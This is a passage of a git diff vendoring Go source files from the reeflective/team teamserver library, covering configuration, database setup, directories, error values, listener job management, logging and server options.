ts.Name(), command.ServerConfigExt)) + + return serverConfigPath +} + +// GetConfig returns the team server configuration as a struct. +// If no server configuration file is found on disk, the default one is used. +func (ts *Server) GetConfig() *Config { + cfgLog := ts.NamedLogger("config", "server") + + if ts.opts.inMemory { + return ts.opts.config + } + + configPath := ts.ConfigPath() + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + cfgLog.Debugf("Loading config from %s", configPath) + + data, err := os.ReadFile(configPath) + if err != nil { + cfgLog.Errorf("Failed to read config file %s", err) + return ts.opts.config + } + + err = json.Unmarshal(data, ts.opts.config) + if err != nil { + cfgLog.Errorf("Failed to parse config file %s", err) + return ts.opts.config + } + } else { + cfgLog.Warnf("Teamserver: no config file found, using and saving defaults") + } + + if ts.opts.config.Log.Level < 0 { + ts.opts.config.Log.Level = 0 + } + + if int(logrus.TraceLevel) < ts.opts.config.Log.Level { + ts.opts.config.Log.Level = int(logrus.TraceLevel) + } + + // This updates the config with any missing fields + err := ts.SaveConfig(ts.opts.config) + if err != nil { + cfgLog.Errorf("Failed to save default config %s", err) + } + + return ts.opts.config +} + +// SaveConfig saves config file to disk. +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (ts *Server) SaveConfig(cfg *Config) error { + cfgLog := ts.NamedLogger("config", "server") + + if ts.opts.inMemory { + return nil + } + + configPath := ts.ConfigPath() + configDir := filepath.Dir(configPath) + + if _, err := os.Stat(configDir); os.IsNotExist(err) { + cfgLog.Debugf("Creating config dir %s", configDir) + + err := os.MkdirAll(configDir, assets.DirPerm) + if err != nil { + return ts.errorf("%w: %w", ErrConfig, err) + } + } + + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + + cfgLog.Debugf("Saving config to %s", configPath) + + err = os.WriteFile(configPath, data, assets.FileReadPerm) + if err != nil { + return ts.errorf("%w: failed to write config: %s", ErrConfig, err) + } + + return nil +} + +func getDefaultServerConfig() *Config { + return &Config{ + DaemonMode: struct { + Host string `json:"host"` + Port int `json:"port"` + }{ + Port: defaultPort, // 31416 + }, + Log: struct { + Level int `json:"level"` + GRPCUnaryPayloads bool `json:"grpc_unary_payloads"` + GRPCStreamPayloads bool `json:"grpc_stream_payloads"` + TLSKeyLogger bool `json:"tls_key_logger"` + }{ + Level: int(logrus.InfoLevel), + }, + Listeners: []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + }{}, + } +} + +func getRandomID() string { + seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano())) + buf := make([]byte, tokenLength) + seededRand.Read(buf) + + return hex.EncodeToString(buf) +} diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go new file mode 100644 index 0000000000..ea9f9a745e --- /dev/null +++ b/vendor/github.com/reeflective/team/server/core.go @@ -0,0 +1,243 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + "runtime" + "sync" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/db" + "github.com/reeflective/team/internal/version" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +// Server is the core driver of an application teamserver. +// It is the counterpart to and plays a similar role than that +// of the team/client.Client type, ie. that it provides tools +// to any application/program to become a teamserver of itself. +// +// The server object can run on its own, without any teamclient attached +// or connected: it fulfills the reeflective/team.Client interface, and +// any teamserver can also be a client of itself, without configuration. +// +// The core job of the Server is to, non-exhaustively: +// - Store and manage a list of users with a zero-trust identity system +// (ie. public-key based), with ways to import/export these lists. +// - Register, start and control teamserver listener/server stacks, for +// many application clients to connect and consume the teamserver app. +// - Offer version and user information to all teamclients. +// +// Additionally and similarly to the team/client.Client, it gives: +// - Pre-configured loggers that listener stacks and server consumers +// can use at any step of their application. +// - Various options to configure its backends and behaviors. +// - A builtin, app-specific abstracted filesystem (in-memory or on-disk). +// - Additionally, an API to further register and control listeners. +// +// Various combinations of teamclient/teamserver usage are possible. +// Please see the Go module example/ directory for a list of them. +type Server struct { + // Core + name string // Name of the application using the teamserver. + homeDir string // APP_ROOT_DIR var, evaluated once when creating the server. + opts *opts // Server options + fs *assets.FS // Server filesystem, on-disk or embedded + initOpts sync.Once // Some options can only be set once when creating the server. + + // Logging + fileLog *logrus.Logger // Can be in-memory if the teamserver is configured. + stdioLog *logrus.Logger // Logging level independent from the file logger. + + // Users + userTokens *sync.Map // Refreshed entirely when a user is kicked. + certs *certs.Manager // Manages all the certificate infrastructure. + db *gorm.DB // Stores certificates and users data. + dbInit sync.Once // A single database can be used in a teamserver lifetime. + + // Listeners and job control + initServe sync.Once // Some options can only have an effect at first start. + self Listener // The default listener stack used by the teamserver. + handlers map[string]Listener // Other listeners available by name. + jobs *jobs // Listeners job control +} + +// New creates a new teamserver for the provided application name. +// Only one such teamserver should be created an application of any given name. +// Since by default, any teamserver can have any number of runtime clients, you +// are not required to provide any specific server.Listener type to serve clients. +// +// This call to create the server only creates the application default directory. +// No files, logs, connections or any interaction with the os/filesystem are made. +// +// Errors: +// - All errors returned from this call are critical, in that the server could not +// run properly in its most basic state, which may happen if the teamclient cannot +// use and write to its on-disk directories/backends and log files. +// No server is returned if the error is not nil. +// - All methods of the teamserver core which return an error will always log this +// error to the various teamserver log files/output streams, so that all actions +// of teamserver can be recorded and watched out in various places. +func New(application string, options ...Options) (*Server, error) { + server := &Server{ + name: application, + opts: newDefaultOpts(), + userTokens: &sync.Map{}, + jobs: newJobs(), + handlers: make(map[string]Listener), + } + + server.apply(options...) + + // Filesystem + user, _ := user.Current() + root := filepath.Join(user.HomeDir, "."+server.name) + server.fs = assets.NewFileSystem(root, server.opts.inMemory) + + // Logging (if allowed) + if err := server.initLogging(); err != nil { + return nil, err + } + + // Ensure we have a working database configuration, + // and at least an in-memory sqlite database. + if server.opts.dbConfig == nil { + server.opts.dbConfig = server.getDefaultDatabaseConfig() + } + + if server.opts.dbConfig.Database == db.SQLiteInMemoryHost && server.db == nil { + if err := server.initDatabase(); err != nil { + return nil, server.errorf("%w: %w", ErrDatabase, err) + } + } + + return server, nil +} + +// Name returns the name of the application handled by the teamserver. +// Since you can embed multiple teamservers (one for each application) +// into a single binary, this is different from the program binary name +// running this teamserver. +func (ts *Server) Name() string { + return ts.name +} + +// Self returns a new application team/client.Client (with the same app name), +// using any provided options for client behavior. +// +// This teamclient implements by default the root team/Teamclient interface +// (directly through the server), but passing user-specific dialer stack options +// to this function and by providing the corresponding server options for your +// pair, you can use in-memory clients which will use the complete RPC stack +// of the application using this teamserver. +// See the server.Listener and client.Dialer types documentation for more. +func (ts *Server) Self(opts ...client.Options) *client.Client { + teamclient, _ := client.New(ts.Name(), ts, opts...) + + return teamclient +} + +// VersionClient implements team.Client.VersionClient() interface +// method, so that the teamserver can be a teamclient of itself. +// This simply returns the server.VersionServer() output. +func (ts *Server) VersionClient() (team.Version, error) { + return ts.VersionServer() +} + +// VersionServe returns the teamserver binary version information. +func (ts *Server) VersionServer() (team.Version, error) { + semVer := version.Semantic() + compiled, _ := version.Compiled() + + var major, minor, patch int32 + + if len(semVer) == 3 { + major = int32(semVer[0]) + minor = int32(semVer[1]) + patch = int32(semVer[2]) + } + + return team.Version{ + Major: major, + Minor: minor, + Patch: patch, + Commit: version.GitCommit(), + Dirty: version.GitDirty(), + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// Users returns the list of users in the teamserver database, and their information. +// Any error raised during querying the database is returned, along with all users. +func (ts *Server) Users() ([]team.User, error) { + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + usersDB := []*db.User{} + err := ts.dbSession().Find(&usersDB).Error + + users := make([]team.User, len(usersDB)) + + if err != nil && len(usersDB) == 0 { + return users, ts.errorf("%w: %w", ErrDatabase, err) + } + + for i, user := range usersDB { + users[i] = team.User{ + Name: user.Name, + LastSeen: user.LastSeen, + } + + if _, ok := ts.userTokens.Load(user.Token); ok { + users[i].Online = true + } + } + + return users, nil +} + +// Filesystem returns an abstract filesystem used by the teamserver. +// This filesystem can be either of two things: +// - By default, the on-disk filesystem, without any specific bounds. +// - If the teamserver was created with the InMemory() option, a full +// in-memory filesystem (with root `.app/`). +// +// Use cases for this filesystem might include: +// - The wish to have a fully abstracted filesystem to work for testing +// - Ensuring that the filesystem code in your application remains the +// same regardless of the underlying, actual filesystem. +// +// The type returned is currently an internal type because it wraps some +// os.Filesystem methods for working more transparently: this may change +// in the future if the Go stdlib offers write support to its new io/fs.FS. +// +// SERVER note: Runtime clients can run with the client.InMemory() option, +// without any impact on the teamserver filesystem and its behavior. +func (ts *Server) Filesystem() *assets.FS { + return ts.fs +} diff --git a/vendor/github.com/reeflective/team/server/db.go b/vendor/github.com/reeflective/team/server/db.go new file mode 100644 index 0000000000..7886e776fd --- /dev/null +++ b/vendor/github.com/reeflective/team/server/db.go @@ -0,0 +1,196 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + "os" + "path" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/db" + "gorm.io/gorm" +) + +const ( + maxIdleConns = 10 + maxOpenConns = 100 +) + +// Database returns a new teamserver database session, which may not be nil: +// if no custom database backend was passed to the server at creation time, +// this database will be an in-memory one. The default is a file-based Sqlite +// database in the teamserver directory, but it might be a specific database +// passed through options. +func (ts *Server) Database() *gorm.DB { + return ts.db.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} + +// DatabaseConfig returns the server database backend configuration struct. +// If no configuration could be found on disk, the default Sqlite file-based +// database is returned, with app-corresponding file paths. +func (ts *Server) DatabaseConfig() *db.Config { + cfg, err := ts.getDatabaseConfig() + if err != nil { + return cfg + } + + return cfg +} + +// GetDatabaseConfigPath - File path to config.json. +func (ts *Server) dbConfigPath() string { + appDir := ts.ConfigsDir() + log := ts.NamedLogger("config", "database") + dbFileName := fmt.Sprintf("%s.%s", ts.Name()+"_database", command.ServerConfigExt) + databaseConfigPath := filepath.Join(appDir, dbFileName) + log.Debugf("Loading config from %s", databaseConfigPath) + + return databaseConfigPath +} + +// Save - Save config file to disk. If the server is configured +// to run in-memory only, the config is not saved. +func (ts *Server) saveDatabaseConfig(cfg *db.Config) error { + if ts.opts.inMemory { + return nil + } + + dblog := ts.NamedLogger("config", "database") + + configPath := ts.dbConfigPath() + configDir := path.Dir(configPath) + + if _, err := os.Stat(configDir); os.IsNotExist(err) { + dblog.Debugf("Creating config dir %s", configDir) + + err := os.MkdirAll(configDir, assets.DirPerm) + if err != nil { + return err + } + } + + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + + dblog.Debugf("Saving config to %s", configPath) + + return os.WriteFile(configPath, data, assets.FileReadPerm) +} + +// getDatabaseConfig returns a working database configuration, +// either fetched from the file system, adjusted with in-code +// options, or a default one. +// If an error happens, it is returned with a nil configuration. +func (ts *Server) getDatabaseConfig() (*db.Config, error) { + log := ts.NamedLogger("config", "database") + + // Don't fetch anything if running in-memory only. + config := ts.opts.dbConfig + if config.Database == db.SQLiteInMemoryHost { + return config, nil + } + + configPath := ts.dbConfigPath() + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + data, err := os.ReadFile(configPath) + if err != nil { + return nil, fmt.Errorf("Failed to read config file %w", err) + } + + err = json.Unmarshal(data, config) + if err != nil { + return nil, fmt.Errorf("Failed to parse config file %w", err) + } + } else { + log.Warnf("Database: no config file found, using and saving defaults") + } + + if config.MaxIdleConns < 1 { + config.MaxIdleConns = 1 + } + + if config.MaxOpenConns < 1 { + config.MaxOpenConns = 1 + } + + // This updates the config with any missing fields, + // failing to save is not critical for operation. + err := ts.saveDatabaseConfig(config) + if err != nil { + log.Errorf("Failed to save default config %s", err) + } + + return config, nil +} + +func (ts *Server) getDefaultDatabaseConfig() *db.Config { + cfg := &db.Config{ + Dialect: db.Sqlite, + MaxIdleConns: maxIdleConns, + MaxOpenConns: maxOpenConns, + + LogLevel: "warn", + } + + if ts.opts.inMemory { + cfg.Database = db.SQLiteInMemoryHost + } else { + cfg.Database = filepath.Join(ts.TeamDir(), fmt.Sprintf("%s.teamserver.db", ts.name)) + } + + return cfg +} + +// initDatabase should be called once when a teamserver is created. +func (ts *Server) initDatabase() (err error) { + ts.dbInit.Do(func() { + dbLogger := ts.NamedLogger("database", "database") + + if ts.db != nil { + err = ts.db.AutoMigrate(db.Schema()...) + return + } + + ts.opts.dbConfig, err = ts.getDatabaseConfig() + if err != nil { + return + } + + ts.db, err = db.NewClient(ts.opts.dbConfig, dbLogger) + if err != nil { + return + } + }) + + return err +} + +func (ts *Server) dbSession() *gorm.DB { + return ts.db.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go new file mode 100644 index 0000000000..af75c7b4bf --- /dev/null +++ b/vendor/github.com/reeflective/team/server/directories.go @@ -0,0 +1,107 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path" + "path/filepath" + + "github.com/reeflective/team/internal/assets" +) + +// HomeDir returns the root application directory (~/.app/ by default). +// This directory can be set with the environment variable _ROOT_DIR. +// This directory is not to be confused with the ~/.app/teamserver directory +// returned by the server.TeamDir(), which is specific to the app teamserver. +func (ts *Server) HomeDir() string { + var dir string + + // Note: very important not to combine the nested if here. + if !ts.opts.inMemory { + if ts.homeDir == "" { + user, _ := user.Current() + dir = filepath.Join(user.HomeDir, "."+ts.name) + } else { + dir = ts.homeDir + } + } else { + dir = "." + ts.name + } + + err := ts.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// TeamDir returns the teamserver directory of the app (named ~/./teamserver/), +// creating the directory if needed, or logging an error event if failing to create it. +// This directory is used to store teamserver certificates, database, logs, and configs. +func (ts *Server) TeamDir() string { + dir := path.Join(ts.HomeDir(), ts.opts.teamDir) + + err := ts.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// LogsDir returns the log directory of the server (~/.app-server/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (ts *Server) LogsDir() string { + logDir := path.Join(ts.TeamDir(), assets.DirLogs) + + err := ts.fs.MkdirAll(logDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) + } + + return logDir +} + +// Configs returns the configs directory of the server (~/.app-server/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (ts *Server) ConfigsDir() string { + logDir := path.Join(ts.TeamDir(), assets.DirConfigs) + + err := ts.fs.MkdirAll(logDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) + } + + return logDir +} + +// CertificatesDir returns the directory storing users CA PEM files as backup, +// (~/.app/teamserver/certs), either on-disk or in-memory if the teamserver is. +func (ts *Server) CertificatesDir() string { + certDir := path.Join(ts.TeamDir(), assets.DirCerts) + + err := ts.fs.MkdirAll(certDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", certDir, err) + } + + return certDir +} diff --git a/vendor/github.com/reeflective/team/server/errors.go b/vendor/github.com/reeflective/team/server/errors.go new file mode 100644 index 0000000000..e050c35e00 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/errors.go @@ -0,0 +1,83 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "errors" + +var ( + // + // Filesystem errors. + // + + // ErrDirectory is an error related to directories used by the teamserver. + ErrDirectory = errors.New("teamserver directory") + + // ErrDirectoryUnwritable is an error returned when the teamserver checked for write permissions + // on a directory path it needs, and that the Go code of the teamserver has determined that the + // file is really non-user writable. This error is NEVER returned "because the path does not exist". + ErrDirectoryUnwritable = errors.New("The directory seems to be unwritable (to the app runtime)") + + // ErrLogging is an error related with the logging backend. + // Some errors can be about writable files/directories. + ErrLogging = errors.New("logging") + + // ErrSecureRandFailed indicates that the teamserver could not read from the system secure random source. + ErrSecureRandFailed = errors.New("failed to read from secure rand") + + // + // Teamserver core errors. + // + + // ErrConfig is an error related to the teamserver configuration. + ErrConfig = errors.New("teamserver config") + + // ErrDatabaseConfig is an error related to the database configuration. + ErrDatabaseConfig = errors.New("teamserver database configuration") + + // ErrDatabase is an error raised by the database backend. + ErrDatabase = errors.New("database") + + // ErrTeamServer is an error raised by the teamserver core code. + ErrTeamServer = errors.New("teamserver") + + // ErrCertificate is an error related to the certificate infrastructure. + ErrCertificate = errors.New("certificates") + + // ErrUserConfig is an error related to users (teamclients) configuration files. + ErrUserConfig = errors.New("user configuration") + + // ErrUnauthenticated indicates that a client user could not authenticate itself, + // whether at connection time, or when requesting server-side features/info. + ErrUnauthenticated = errors.New("User authentication failure") + + // + // Listener errors. + // + + // ErrNoListener indicates that the server could not find any listener/server + // stack to run when one of its .Serve*() methods were invoked. If such an error + // is raised, make sure you passed a server.Listener type with WithListener() option. + ErrNoListener = errors.New("the teamserver has no listeners to start") + + // ErrListenerNotFound indicates that for a given ID, no running or persistent listener could be found. + ErrListenerNotFound = errors.New("no listener exists with ID") + + // ErrListener indicates an error raised by a listener stack/implementation. + ErrListener = errors.New("teamserver listener") +) diff --git a/vendor/github.com/reeflective/team/server/jobs.go b/vendor/github.com/reeflective/team/server/jobs.go new file mode 100644 index 0000000000..c2004fef6d --- /dev/null +++ b/vendor/github.com/reeflective/team/server/jobs.go @@ -0,0 +1,227 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "net" + "sync" +) + +// job - Manages background jobs. +type job struct { + ID string + Name string + Description string + kill chan bool + Persistent bool +} + +// jobs - Holds refs to all active jobs. +type jobs struct { + active *sync.Map +} + +func newJobs() *jobs { + return &jobs{ + active: &sync.Map{}, + } +} + +// Add - Add a job to the hive (atomically). +func (j *jobs) Add(listener *job) { + j.active.Store(listener.ID, listener) +} + +// Get - Get a Job. +func (j *jobs) Get(jobID string) *job { + if jobID == "" { + return nil + } + + val, ok := j.active.Load(jobID) + if ok { + return val.(*job) + } + + return nil +} + +// Listeners returns a list of all running listener jobs. +// If you also want the list of the non-running, persistent +// ones, use the teamserver Config(). +func (ts *Server) Listeners() []*job { + all := []*job{} + + // Active listeners + ts.jobs.active.Range(func(key, value interface{}) bool { + all = append(all, value.(*job)) + return true + }) + + return all +} + +// ListenerAdd adds a teamserver listener job to the teamserver configuration. +// This function does not start the given listener, and you must call the server +// ServeAddr(name, host, port) function for this. +func (ts *Server) ListenerAdd(name, host string, port uint16) error { + listener := struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + }{ + Name: name, + Host: host, + Port: port, + ID: getRandomID(), + } + + if listener.Name == "" && ts.self != nil { + listener.Name = ts.self.Name() + } + + ts.opts.config.Listeners = append(ts.opts.config.Listeners, listener) + + return ts.SaveConfig(ts.opts.config) +} + +// ListenerRemove removes a server listener job from the configuration. +// This function does not stop any running listener for the given ID: you +// must call server.CloseListener(id) for this. +func (ts *Server) ListenerRemove(listenerID string) { + if ts.opts.config.Listeners == nil { + return + } + + defer ts.SaveConfig(ts.opts.config) + + var listeners []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + } + + for _, listener := range ts.opts.config.Listeners { + if listener.ID != listenerID { + listeners = append(listeners, listener) + } + } + + ts.opts.config.Listeners = listeners +} + +// ListenerClose closes/stops an active teamserver listener by ID. +// This function can only return an ErrListenerNotFound if the ID +// is invalid: all listener-specific options are logged instead. +func (ts *Server) ListenerClose(id string) error { + listener := ts.jobs.Get(id) + if listener == nil { + return ts.errorf("%w: %s", ErrListenerNotFound, id) + } + + listener.kill <- true + + return nil +} + +// ListenerStartPersistents attempts to start all listeners saved in the teamserver +// configuration file, looking up the listener stacks in its map and starting them +// for each bind target. +// If the teamserver has been passed the WithContinueOnError() option at some point, +// it will log all errors raised by listener stacks will still try to start them all. +func (ts *Server) ListenerStartPersistents() error { + var listenerErrors error + + log := ts.NamedLogger("teamserver", "listeners") + + if ts.opts.config.Listeners == nil { + return nil + } + + for _, ln := range ts.opts.config.Listeners { + handler := ts.handlers[ln.Name] + if handler == nil { + handler = ts.self + } + + if handler == nil { + if !ts.opts.continueOnError { + return ts.errorf("Failed to find handler for `%s` listener (%s:%d)", ln.Name, ln.Host, ln.Port) + } + + continue + } + + err := ts.serve(handler, ln.ID, ln.Host, ln.Port) + + if err == nil { + continue + } + + log.Errorf("Failed to start %s listener (%s:%d): %s", ln.Name, ln.Host, ln.Port, err) + + if !ts.opts.continueOnError { + return err + } + + listenerErrors = errors.Join(listenerErrors, err) + } + + return nil +} + +func (ts *Server) addListenerJob(listenerID, name, host string, port int, ln net.Listener) { + log := ts.NamedLogger("teamserver", "listeners") + + if listenerID == "" { + listenerID = getRandomID() + } + + laddr := host + if port != 0 { + laddr = fmt.Sprintf("%s:%d", laddr, port) + } + + if laddr == "" { + laddr = "runtime" + } + + listener := &job{ + ID: listenerID, + Name: name, + Description: laddr, + kill: make(chan bool), + } + + go func() { + <-listener.kill + + // Kills listener goroutines but NOT connections. + log.Infof("Stopping teamserver %s listener (%s)", name, listener.ID) + ln.Close() + + ts.jobs.active.LoadAndDelete(listener.ID) + }() + + ts.jobs.active.Store(listener.ID, listener) +} diff --git a/vendor/github.com/reeflective/team/server/log.go b/vendor/github.com/reeflective/team/server/log.go new file mode 100644 index 0000000000..7b1729c6d1 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/log.go @@ -0,0 +1,132 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "path/filepath" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +// NamedLogger returns a new logging "thread" with two fields (optional) +// to indicate the package/general domain, and a more precise flow/stream. +// The events are logged according to the teamclient logging backend setup. +func (ts *Server) NamedLogger(pkg, stream string) *logrus.Entry { + return ts.log().WithFields(logrus.Fields{ + log.PackageFieldKey: pkg, + "stream": stream, + }) +} + +// SetLogLevel sets the logging level of teamserver loggers (excluding audit ones). +func (ts *Server) SetLogLevel(level int) { + if ts.stdioLog == nil { + return + } + + if uint32(level) > uint32(logrus.TraceLevel) { + level = int(logrus.TraceLevel) + } + + ts.stdioLog.SetLevel(logrus.Level(uint32(level))) + + // Also Change the file-based logging level: + // - If they app runs a memfs, this wont have any effect. + // - If the user wants to debug anyway, better two sources than one. + if ts.fileLog != nil { + ts.fileLog.SetLevel(logrus.Level(uint32(level))) + } +} + +// AuditLogger returns a special logger writing its event entries to an audit +// log file (default audit.json), distinct from other teamserver log files. +// Listener implementations will want to use this for logging various teamclient +// application requests, with this logger used somewhere in your listener middleware. +func (ts *Server) AuditLogger() (*logrus.Logger, error) { + if ts.opts.inMemory || ts.opts.noLogs { + return ts.log(), nil + } + + // Generate a new audit logger + auditLog, err := log.NewAudit(ts.fs, ts.LogsDir()) + if err != nil { + return nil, ts.errorf("%w: %w", ErrLogging, err) + } + + return auditLog, nil +} + +// Initialize loggers in files/stdout according to options. +func (ts *Server) initLogging() (err error) { + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if ts.opts.logger != nil { + ts.fileLog = ts.opts.logger + return nil + } + + logFile := filepath.Join(ts.LogsDir(), log.FileName(ts.Name(), true)) + + // If the teamserver should log to a given file. + if ts.opts.logFile != "" { + logFile = ts.opts.logFile + } + + level := logrus.Level(ts.opts.config.Log.Level) + + // Create any additional/configured logger and related/missing hooks. + ts.fileLog, ts.stdioLog, err = log.Init(ts.fs, logFile, level) + if err != nil { + return err + } + + return nil +} + +// log returns a non-nil logger for the server: +// if file logging is disabled, it returns the stdout-only logger, +// otherwise returns the file logger equipped with a stdout hook. +func (ts *Server) log() *logrus.Logger { + if ts.fileLog == nil { + return ts.stdioLog + } + + return ts.fileLog +} + +func (ts *Server) errorf(msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + ts.log().Error(logged) + + return logged +} + +func (ts *Server) errorWith(log *logrus.Entry, msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + + if log != nil { + log.Error(logged) + } else { + ts.log().Error(logged) + } + + return logged +} diff --git a/vendor/github.com/reeflective/team/server/options.go b/vendor/github.com/reeflective/team/server/options.go new file mode 100644 index 0000000000..fe0b1488ad --- /dev/null +++ b/vendor/github.com/reeflective/team/server/options.go @@ -0,0 +1,264 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "strings" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/db" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +const noTeamdir = "no team subdirectory" + +// Options are server options. +// With these you can set/reset or modify the behavior of a teamserver +// at various stages of its lifetime, or when performing some specific +// actions. +// Note that some options can only be used once, while others can be +// used multiple times. Examples of the former are log files and database +// backends, while the latter includes listeners/hooks. +// Each option will specify this in its description. +type Options func(opts *opts) + +type opts struct { + homeDir string + teamDir string + logFile string + local bool + noLogs bool + inMemory bool + continueOnError bool + + config *Config + dbConfig *db.Config + db *gorm.DB + logger *logrus.Logger + listeners []Listener +} + +// default in-memory configuration, ready to run. +func newDefaultOpts() *opts { + options := &opts{ + config: getDefaultServerConfig(), + local: false, + } + + return options +} + +func (ts *Server) apply(options ...Options) { + for _, optFunc := range options { + optFunc(ts.opts) + } + + // The server will apply options multiple times + // in its lifetime, but some options can only be + // set once when created. + ts.initOpts.Do(func() { + // Application home directory. + homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(ts.name))) + if homeDir != "" { + ts.homeDir = homeDir + } else { + ts.homeDir = ts.opts.homeDir + } + + // Team directory. + if ts.opts.teamDir == noTeamdir { + ts.opts.teamDir = "" + } else if ts.opts.teamDir == "" { + ts.opts.teamDir = assets.DirServer + } + + // User-defined database. + if ts.opts.db != nil { + ts.db = ts.opts.db + } + }) + + // Load any listener backends any number of times. + for _, listener := range ts.opts.listeners { + ts.handlers[listener.Name()] = listener + } + + // Make the first one as the default if needed. + if len(ts.opts.listeners) > 0 && ts.self == nil { + ts.self = ts.opts.listeners[0] + } + + // And clear the most recent listeners passed via options. + ts.opts.listeners = make([]Listener, 0) +} + +// +// *** General options *** +// + +// WithInMemory deactivates all interactions of the client with the filesystem. +// This applies to logging, but will also to any forward feature using files. +// +// Implications on database backends: +// By default, all teamservers use sqlite3 as a backend, and thus will run a +// database in memory. All other databases are assumed to be unable to do so, +// and this 